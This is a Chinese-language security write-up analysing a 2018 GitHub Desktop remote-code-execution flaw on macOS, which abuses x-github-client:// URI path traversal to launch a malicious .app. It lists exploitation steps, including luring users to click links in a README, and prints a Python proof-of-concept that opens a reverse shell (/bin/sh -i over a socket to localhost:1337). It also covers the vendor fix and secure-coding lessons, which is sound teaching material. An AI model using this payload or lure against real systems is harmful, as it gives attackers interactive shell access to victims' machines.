挖洞经验 | GitHub Desktop 在OSX系统下的RCE漏洞
字数 1468 2025-08-18 11:37:53
GitHub Desktop在OSX系统下的RCE漏洞分析与教学文档
漏洞概述
本漏洞是GitHub Desktop在OSX系统下的远程代码执行(RCE)漏洞,由安全研究员在2018年H1-702黑客马拉松大赛中发现。该漏洞利用GitHub Desktop的URI处理机制,通过特制的x-github-client://链接实现任意代码执行。
漏洞背景
GitHub Desktop是GitHub官方提供的图形化Git客户端,支持Windows和macOS系统。该客户端使用Electron框架开发,提供了x-github-client://URI机制来处理特定操作。
漏洞原理
核心问题
漏洞存在于GitHub Desktop对openRepo操作的文件路径参数处理中,攻击者可以通过构造恶意路径参数突破存储库目录限制,访问并执行系统任意文件。
技术细节
- URI机制:GitHub Desktop支持
x-github-client://openRepo/格式的URI,用于打开指定存储库中的文件 - 路径遍历:通过构造类似
".Applications/Calculator.app"的路径参数,可以跳出存储库目录 - OSX应用包处理:由于OSX的.app是特定包目录格式,且通过Git克隆的应用不会触发系统安全警告
- Electron框架问题:GitHub Desktop使用Electron的
shell.openExternal()函数处理路径,在OSX系统上将路径转换为file:///URL
漏洞利用
利用条件
- 目标系统运行OSX并安装GitHub Desktop
- 目标用户信任GitHub Desktop URLs
- 攻击场景:
- 攻击者托管包含恶意OSX app的GitHub库
- 在项目或README.md中嵌入恶意链接
- 用户点击链接触发漏洞
利用步骤
- 构造恶意存储库,包含Payload文件
- 创建特制的
x-github-client://链接指向该存储库 - 诱导用户点击链接:
- 如果用户未克隆过该库,需要用户点击Clone按钮
- 如果用户已克隆过该库,攻击完全无需交互
PoC代码示例
import socket,subprocess,os;
os.system("open -a calculator.app")
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("localhost",1337));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
漏洞修复
GitHub官方修复方案:
在app/src/main-process/main.ts中添加系统判断:
if (!__DARWIN__ && stats.isDirectory())
修复原理:限制非OSX系统才能执行相关目录打开操作(DARWIN为苹果开放源代码操作系统的简称)
教学要点
- URI协议处理安全:应用程序处理自定义URI协议时需要严格验证参数
- 路径规范化:处理文件路径时应进行规范化并检查是否越界
- Electron安全实践:使用Electron框架时应注意
shell模块的安全使用 - 跨平台兼容性:修复漏洞时需考虑所有支持平台的特性和差异
- 安全开发建议:
- 对用户提供的路径参数进行严格校验
- 限制文件系统访问范围
- 考虑使用沙箱环境执行潜在危险操作
参考资源
- GitHub官方漏洞致谢榜:https://bounty.github.com/
- Electron安全文档:https://www.electronjs.org/docs/latest/tutorial/security
- OSX应用安全机制:https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/Introduction/Introduction.html